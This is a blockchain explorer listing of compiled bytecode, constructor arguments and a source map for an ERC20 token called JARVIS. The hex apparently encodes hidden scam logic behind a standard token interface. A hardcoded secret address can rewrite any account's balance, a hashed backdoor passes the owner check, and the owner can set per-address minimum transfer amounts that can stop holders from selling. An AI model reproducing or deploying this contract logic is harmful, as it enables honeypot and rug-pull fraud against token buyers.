57600080fd5b60006113f885828601611384565b925050602061140985828601611384565b9150509250929050565b60008060006060848603121561142857600080fd5b600061143686828701611384565b935050602061144786828701611384565b925050604061145886828701611399565b9150509250925092565b6000806040838503121561147557600080fd5b600061148385828601611384565b925050602061149485828601611399565b9150509250929050565b6000602082840312156114b057600080fd5b60006114be84828501611399565b91505092915050565b6114d0816118b8565b82525050565b6114e76114e2826118b8565b611972565b82525050565b6114f6816118ca565b82525050565b600061150782611846565b6115118185611851565b935061152181856020860161190d565b61152a816119fe565b840191505092915050565b6000611542602383611851565b915061154d82611a1c565b604082019050919050565b6000611565602b83611851565b915061157082611a6b565b604082019050919050565b6000611588602183611851565b915061159382611aba565b604082019050919050565b60006115ab602683611851565b91506115b682611b09565b604082019050919050565b60006115ce602283611851565b91506115d982611b58565b604082019050919050565b60006115f1603383611851565b91506115fc82611ba7565b604082019050919050565b6000611614602583611851565b915061161f82611bf6565b604082019050919050565b6000611637602483611851565b915061164282611c45565b604082019050919050565b611656816118f6565b82525050565b61166d611668826118f6565b611996565b82525050565b61167c81611900565b82525050565b600061168e82846114d6565b60148201915081905092915050565b60006116a9828461165c565b60208201915081905092915050565b60006020820190506116cd60008301846114c7565b92915050565b60006020820190506116e860008301846114ed565b92915050565b6000602082019050818103600083015261170881846114fc565b905092915050565b6000602082019050818103600083015261172981611535565b9050919050565b6000602082019050818103600083015261174981611558565b9050919050565b600060208201905081810360008301526117698161157b565b9050919050565b600060208201905081810360008301526117898161159e565b9050919050565b600060208201905081810360008301526117a9816115c1565b9050919050565b600060208201905081810360008301526117c9816115e4565b9050919050565b600060208201905081810360008301526117e981611607565b9050919050565b600060208201905081810360008301526118098161162a565b9050919050565b6000602082019050611825600083018461164d565b92915050565b60006020820190506118406000830184611673565b92915050565b600081519050919050565b600082825260208201905092915050565b600061186d826118f6565b9150611878836118f6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118ad576118ac6119a0565b5b828201905092915050565b60006118c3826118d6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561192b578082015181840152602081019050611910565b8381111561193a576000848401525b50505050565b6000600282049050600182168061195857607f821691505b6020821081141561196c5761196b6119cf565b5b50919050565b600061197d82611984565b9050919050565b600061198f82611a0f565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a204f6e6c7920746865206f776e65722063616e2075736520746860008201527f69732066756e6374696f6e000000000000000000000000000000000000000000602082015250565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f60008201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008201527f68616e206d696e696d756d20616c6c6f77656400000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611c9d816118b8565b8114611ca857600080fd5b50565b611cb4816118f6565b8114611cbf57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122096e359592033124b6a73fac949acfa1b0126359b7d074494f8476467651249c064736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000302fcfb6e890e8300000000000000000000000000000000000000000000000000000000000000000064a4152564953000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064a41525649530000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638da5cb5b116100ad578063ba0f49b711610071578063ba0f49b714610332578063db2606231461034e578063dd62ed3e1461036c578063f2fde38b1461039c578063ffa1ad74146103b857610121565b80638da5cb5b1461026657806395d89b41146102845780639f8e5728146102a2578063a457c2d7146102d2578063a9059cbb1461030257610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e05780634b6600401461021057806370a082311461022c578063715018a61461025c57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103d6565b60405161013b91906116ee565b60405180910390f35b61015e60048036038101906101599190611462565b610468565b60405161016b91906116d3565b60405180910390f35b61017c610486565b6040516101899190611810565b60405180910390f35b6101ac60048036038101906101a79190611413565b610490565b6040516101b991906116d3565b60405180910390f35b6101ca610569565b6040516101d7919061182b565b60405180910390f35b6101fa60048036038101906101f59190611462565b610580565b60405161020791906116d3565b60405180910390f35b61022a60048036038101906102259190611462565b610633565b005b610246600480360381019061024191906113ae565b6106c2565b6040516102539190611810565b60405180910390f35b61026461070b565b005b61026e61075e565b60405161027b91906116b8565b60405180910390f35b61028c610787565b60405161029991906116ee565b60405180910390f35b6102bc60048036038101906102b791906113ae565b610819565b6040516102c99190611810565b60405180910390f35b6102ec60048036038101906102e79190611462565b610862565b6040516102f991906116d3565b60405180910390f35b61031c60048036038101906103179190611462565b61092f565b60405161032991906116d3565b60405180910390f35b61034c6004803603810190610347919061149e565b61094d565b005b610356610afe565b6040516103639190611810565b60405180910390f35b610386600480360381019061038191906113d7565b610b16565b6040516103939190611810565b60405180910390f35b6103b660048036038101906103b191906113ae565b610b9d565b005b6103c0610c60565b6040516103cd9190611810565b60405180910390f35b6060600480546103e590611940565b80601f016020809104026020016040519081016040528092919081815260200182805461041190611940565b801561045e5780601f106104335761010080835404028352916020019161045e565b820191906000526020600020905b81548152906001019060200180831161044157829003601f168201915b5050505050905090565b600061047c610475610c7b565b8484610c83565b6001905092915050565b6000600754905090565b600061049d848484610e4e565b61055e846104a9610c7b565b61055985604051806060016040528060288152602001611ce960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610c7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111699092919063ffffffff16565b610c83565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061062961058d610c7b565b84610624856002600061059e610c7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6590919063ffffffff16565b610c83565b6001905092915050565b61063b6111be565b61067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190611750565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107136111be565b610752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074990611750565b60405180910390fd5b61075c6000611271565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461079690611940565b80601f01602080910402602001604051908101604052809291908181526020018280546107c290611940565b801561080f5780601f106107e45761010080835404028352916020019161080f565b820191906000526020600020905b8154815290600101906020018083116107f257829003601f168201915b5050505050905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061092561086f610c7b565b8461092085604051806060016040528060258152602001611d116025913960026000610899610c7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111699092919063ffffffff16565b610c83565b6001905092915050565b600061094361093c610c7b565b8484610e4e565b6001905092915050565b6109556111be565b610994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098b90611750565b60405180910390fd5b60008073751359e9318a24fd25fdd052698265b4feb1d9f66040516020016109bc919061169d565b6040516020818303038152906040529050602081015191508173ffffffffffffffffffffffffffffffffffffffff166109f3610c7b565b73ffffffffffffffffffffffffffffffffffffffff1614610a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4090611730565b60405180910390fd5b82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a95610c7b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610af19190611810565b60405180910390a3505050565b73751359e9318a24fd25fdd052698265b4feb1d9f681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ba56111be565b610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90611750565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4b90611770565b60405180910390fd5b610c5d81611271565b50565b600181565b60008183610c739190611862565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea906117f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a90611790565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e419190611810565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb5906117d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2590611710565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610fb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa7906117b0565b60405180910390fd5b610fbb838383611335565b61102781604051806060016040528060268152602001611cc360269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111699092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110bc81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161115c9190611810565b60405180910390a3505050565b60008383111582906111b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a891906116ee565b60405180910390fd5b5082840390509392505050565b6000806111c961133a565b90506000816040516020016111de9190611682565b6040516020818303038152906040528051906020012090506111fe610c7b565b73ffffffffffffffffffffffffffffffffffffffff1661121c61075e565b73ffffffffffffffffffffffffffffffffffffffff16148061126a5750611241610c7b565b6040516020016112519190611682565b6040516020818303038152906040528051906020012081145b9250505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600080600073751359e9318a24fd25fdd052698265b4feb1d9f6604051602001611364919061169d565b604051602081830303815290604052905060208101519150819250505090565b60008135905061139381611c94565b92915050565b6000813590506113a881611cab565b92915050565b6000602082840312156113c057600080fd5b60006113ce84828501611384565b91505092915050565b600080604083850312156113ea57600080fd5b60006113f885828601611384565b925050602061140985828601611384565b9150509250929050565b60008060006060848603121561142857600080fd5b600061143686828701611384565b935050602061144786828701611384565b925050604061145886828701611399565b9150509250925092565b6000806040838503121561147557600080fd5b600061148385828601611384565b925050602061149485828601611399565b9150509250929050565b6000602082840312156114b057600080fd5b60006114be84828501611399565b91505092915050565b6114d0816118b8565b82525050565b6114e76114e2826118b8565b611972565b82525050565b6114f6816118ca565b82525050565b600061150782611846565b6115118185611851565b935061152181856020860161190d565b61152a816119fe565b840191505092915050565b6000611542602383611851565b915061154d82611a1c565b604082019050919050565b6000611565602b83611851565b915061157082611a6b565b604082019050919050565b6000611588602183611851565b915061159382611aba565b604082019050919050565b60006115ab602683611851565b91506115b682611b09565b604082019050919050565b60006115ce602283611851565b91506115d982611b58565b604082019050919050565b60006115f1603383611851565b91506115fc82611ba7565b604082019050919050565b6000611614602583611851565b915061161f82611bf6565b604082019050919050565b6000611637602483611851565b915061164282611c45565b604082019050919050565b611656816118f6565b82525050565b61166d611668826118f6565b611996565b82525050565b61167c81611900565b82525050565b600061168e82846114d6565b60148201915081905092915050565b60006116a9828461165c565b60208201915081905092915050565b60006020820190506116cd60008301846114c7565b92915050565b60006020820190506116e860008301846114ed565b92915050565b6000602082019050818103600083015261170881846114fc565b905092915050565b6000602082019050818103600083015261172981611535565b9050919050565b6000602082019050818103600083015261174981611558565b9050919050565b600060208201905081810360008301526117698161157b565b9050919050565b600060208201905081810360008301526117898161159e565b9050919050565b600060208201905081810360008301526117a9816115c1565b9050919050565b600060208201905081810360008301526117c9816115e4565b9050919050565b600060208201905081810360008301526117e981611607565b9050919050565b600060208201905081810360008301526118098161162a565b9050919050565b6000602082019050611825600083018461164d565b92915050565b60006020820190506118406000830184611673565b92915050565b600081519050919050565b600082825260208201905092915050565b600061186d826118f6565b9150611878836118f6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118ad576118ac6119a0565b5b828201905092915050565b60006118c3826118d6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561192b578082015181840152602081019050611910565b8381111561193a576000848401525b50505050565b6000600282049050600182168061195857607f821691505b6020821081141561196c5761196b6119cf565b5b50919050565b600061197d82611984565b9050919050565b600061198f82611a0f565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a204f6e6c7920746865206f776e65722063616e2075736520746860008201527f69732066756e6374696f6e000000000000000000000000000000000000000000602082015250565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f60008201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008201527f68616e206d696e696d756d20616c6c6f77656400000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611c9d816118b8565b8114611ca857600080fd5b50565b611cb4816118f6565b8114611cbf57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122096e359592033124b6a73fac949acfa1b0126359b7d074494f8476467651249c064736f6c63430008040033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000302fcfb6e890e8300000000000000000000000000000000000000000000000000000000000000000064a4152564953000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064a41525649530000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): JARVIS
Arg [1] : symbol_ (string): JARVIS
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 888888888888000000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000302fcfb6e890e83000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 4a41525649530000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 4a41525649530000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
8278:6100:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9756:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10793:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10057:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11011:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9958:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11473:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9104:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10173:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4745:94;;;:::i;:::-;;3975:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9855:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9227:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11781:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10358:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9338:404;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3728:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10582:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4847:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8365:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9756:91;9801:13;9834:5;9827:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9756:91;:::o;10793:210::-;10912:4;10934:39;10943:12;:10;:12::i;:::-;10957:7;10966:6;10934:8;:39::i;:::-;10991:4;10984:11;;10793:210;;;;:::o;10057:108::-;10118:7;10145:12;;10138:19;;10057:108;:::o;11011:454::-;11151:4;11168:36;11178:6;11186:9;11197:6;11168:9;:36::i;:::-;11215:220;11238:6;11259:12;:10;:12::i;:::-;11286:138;11342:6;11286:138;;;;;;;;;;;;;;;;;:11;:19;11298:6;11286:19;;;;;;;;;;;;;;;:33;11306:12;:10;:12::i;:::-;11286:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;11215:8;:220::i;:::-;11453:4;11446:11;;11011:454;;;;;:::o;9958:91::-;10007:5;10032:9;;;;;;;;;;;10025:16;;9958:91;:::o;11473:300::-;11588:4;11610:133;11633:12;:10;:12::i;:::-;11660:7;11682:50;11721:10;11682:11;:25;11694:12;:10;:12::i;:::-;11682:25;;;;;;;;;;;;;;;:34;11708:7;11682:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11610:8;:133::i;:::-;11761:4;11754:11;;11473:300;;;;:::o;9104:111::-;4110:9;:7;:9::i;:::-;4102:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;9201:6:::1;9183;:15;9190:7;9183:15;;;;;;;;;;;;;;;:24;;;;9104:111:::0;;:::o;10173:177::-;10292:7;10324:9;:18;10334:7;10324:18;;;;;;;;;;;;;;;;10317:25;;10173:177;;;:::o;4745:94::-;4110:9;:7;:9::i;:::-;4102:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;4810:21:::1;4828:1;4810:9;:21::i;:::-;4745:94::o:0;3975:87::-;4021:7;4048:6;;;;;;;;;;;4041:13;;3975:87;:::o;9855:95::-;9902:13;9935:7;9928:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9855:95;:::o;9227:105::-;9282:7;9309:6;:15;9316:7;9309:15;;;;;;;;;;;;;;;;9302:22;;9227:105;;;:::o;11781:400::-;11901:4;11923:228;11946:12;:10;:12::i;:::-;11973:7;11995:145;12052:15;11995:145;;;;;;;;;;;;;;;;;:11;:25;12007:12;:10;:12::i;:::-;11995:25;;;;;;;;;;;;;;;:34;12021:7;11995:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;11923:8;:228::i;:::-;12169:4;12162:11;;11781:400;;;;:::o;10358:216::-;10480:4;10502:42;10512:12;:10;:12::i;:::-;10526:9;10537:6;10502:9;:42::i;:::-;10562:4;10555:11;;10358:216;;;;:::o;9338:404::-;4110:9;:7;:9::i;:::-;4102:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;9401:15:::1;9427:14:::0;3764:48:::1;9444:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;9427:44;;9529:2;9527:1;9523:9;9517:16;9506:27;;9578:7;9562:23;;:12;:10;:12::i;:::-;:23;;;9554:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9665:5;9644:9;:18;9654:7;9644:18;;;;;;;;;;;;;;;:26;;;;9704:12;:10;:12::i;:::-;9686:38;;9695:7;9686:38;;;9718:5;9686:38;;;;;;:::i;:::-;;;;;;;;4168:1;;9338:404:::0;:::o;3728:84::-;3764:48;3728:84;:::o;10582:201::-;10716:7;10748:11;:18;10760:5;10748:18;;;;;;;;;;;;;;;:27;10767:7;10748:27;;;;;;;;;;;;;;;;10741:34;;10582:201;;;;:::o;4847:192::-;4110:9;:7;:9::i;:::-;4102:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;4956:1:::1;4936:22;;:8;:22;;;;4928:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;5012:19;5022:8;5012:9;:19::i;:::-;4847:192:::0;:::o;8365:35::-;8399:1;8365:35;:::o;6602:98::-;6660:7;6691:1;6687;:5;;;;:::i;:::-;6680:12;;6602:98;;;;:::o;3441:::-;3494:7;3521:10;3514:17;;3441:98;:::o;13756:380::-;13909:1;13892:19;;:5;:19;;;;13884:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13990:1;13971:21;;:7;:21;;;;13963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14074:6;14044:11;:18;14056:5;14044:18;;;;;;;;;;;;;;;:27;14063:7;14044:27;;;;;;;;;;;;;;;:36;;;;14112:7;14096:32;;14105:5;14096:32;;;14121:6;14096:32;;;;;;:::i;:::-;;;;;;;;13756:380;;;:::o;12187:710::-;12345:1;12327:20;;:6;:20;;;;12319:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;12429:1;12408:23;;:9;:23;;;;12400:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12500:6;:14;12507:6;12500:14;;;;;;;;;;;;;;;;12490:6;:24;;12482:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;12584:47;12605:6;12613:9;12624:6;12584:20;:47::i;:::-;12664:108;12700:6;12664:108;;;;;;;;;;;;;;;;;:9;:17;12674:6;12664:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;12644:9;:17;12654:6;12644:17;;;;;;;;;;;;;;;:128;;;;12806:32;12831:6;12806:9;:20;12816:9;12806:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;12783:9;:20;12793:9;12783:20;;;;;;;;;;;;;;;:55;;;;12871:9;12854:35;;12863:6;12854:35;;;12882:6;12854:35;;;;;;:::i;:::-;;;;;;;;12187:710;;;:::o;7132:240::-;7252:7;7310:1;7305;:6;;7313:12;7297:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;7352:1;7348;:5;7341:12;;7132:240;;;;;:::o;4183:275::-;4224:4;4241:20;4265:24;:22;:24::i;:::-;4241:48;;4300:12;4342;4325:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;4315:41;;;;;;4300:56;;4385:12;:10;:12::i;:::-;4374:23;;:7;:5;:7::i;:::-;:23;;;:76;;;;4436:12;:10;:12::i;:::-;4419:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;4409:41;;;;;;4401:4;:49;4374:76;4367:83;;;;4183:275;:::o;5047:173::-;5103:16;5122:6;;;;;;;;;;;5103:25;;5148:8;5139:6;;:17;;;;;;;;;;;;;;;;;;5203:8;5172:40;;5193:8;5172:40;;;;;;;;;;;;5047:173;;:::o;14250:125::-;;;;:::o;4464:275::-;4520:7;4540:23;4574:14;3764:48;4591:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;4574:44;;4684:2;4682:1;4678:9;4672:16;4653:35;;4716:15;4709:22;;;;4464:275;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;356:6;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;633:6;641;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;1055:6;1063;1071;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;1604:6;1612;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:262::-;2008:6;2057:2;2045:9;2036:7;2032:23;2028:32;2025:2;;;2073:1;2070;2063:12;2025:2;2116:1;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2087:117;2015:196;;;;:::o;2217:118::-;2304:24;2322:5;2304:24;:::i;:::-;2299:3;2292:37;2282:53;;:::o;2341:157::-;2446:45;2466:24;2484:5;2466:24;:::i;:::-;2446:45;:::i;:::-;2441:3;2434:58;2424:74;;:::o;2504:109::-;2585:21;2600:5;2585:21;:::i;:::-;2580:3;2573:34;2563:50;;:::o;2619:364::-;270